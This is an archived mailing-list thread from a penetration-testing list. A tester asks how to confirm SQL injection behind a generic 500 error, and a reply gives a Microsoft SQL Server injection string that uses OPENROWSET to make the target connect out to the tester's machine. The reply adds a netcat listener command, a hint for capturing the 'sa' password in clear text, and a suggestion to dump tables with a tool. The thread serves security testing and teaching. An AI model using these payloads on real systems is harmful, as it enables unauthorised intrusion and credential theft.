RE: SQL Injection question

["Lachniet, Mark" <mlachniet () sequoianet com>]

As noted by Jeff Williams, it can be difficult.  You can certainly keep manipulating the command until you can get a 
more useful error than 500 (preferably one that spits back the error-producing SQL Select statement)

One useful trick is to craft a 'SQL ping' statement into the injection string, such that it tries to connect to an 
external (controlled by you) SQL server on a specific port.  Then simply listen with a protocol analyzer to see if the 
target machine tries to "ping" you.  

from notes from a co-worker, Paul Melson:

Here's the string you can drop in web form inputs to see if they're vulnerable to SQL injection (on Microsoft SQL 
server anyway):

'; select * from OPENROWSET('SQLOLEDB','192.168.0.1';;,'select @@version')--

To verify results, replace the IP address w/ that of the machine you're testing from, and use netcat (attached) to 
listen on port 1433 with the following syntax:

nc -vvv -l -p 1433

If the test is successful, you should see a connection and some garbage characters in the netcat window.  This type of 
attack is particularly heinous to customers running Microsoft SQL Server 7/2000.  If you replace the 'select @@version' 
with another command, you can cause the remote database to try and connect using its own 'sa' user and password in 
clear text and capture it with a sniffer.

IF you want to get REALLY tricky, download 'data thief v1.0' and dump all of their tables in a handy GUI format.

Thanks,

Mark Lachniet

-----Original Message-----
From: Sasa Jusic [mailto:sjusic () pamela zesoi fer hr]
Sent: Monday, January 05, 2004 7:54 AM
To: 'pen-test () securityfocus com'
Subject: SQL Injection question


Hi group,

I am conducting a Pen test for a customer, and last few days I have been
struggling with their Web application running on Apache/mod_ssl Web Server
using CGI interface. During the initial assessment I found several Web forms
using POST method, so I began searching for SQL Injection Vulnerabilities. 

The problem is that forms are well protected, and they are only accepting
numeric values, so I can't insert any malicious characters to test for SQL
vulnerabilities. Then I discovered that the form input validation is done
with JavaScript code on the client side, so I used the Paros proxy tool for
intercepting and modification of submitted form values. In this way I
managed to submit the arbitrary data to the server, and the server response
was "500 Internal Server Error" without any useful information about the
error reason or underlying database structure. I tried various combinations
typical for SQL Injection assessment, but the response was always the same.

On several places I have red that this type of error is one of the possible
indicators of SQL Injection problems, so I would like to examine this
problem more carefully. 

How can I know if this is really a SQL Injection problem or some other
error? Is there any way I can elicit some more information about the
structure of the database or any other useful information I can use for
further testing?

I don't have much practical experience with SQL Injection so I would really
appreciate any help. 

Best regards,

Sasa.

---------------------------------------------------------------------------
----------------------------------------------------------------------------


---------------------------------------------------------------------------
----------------------------------------------------------------------------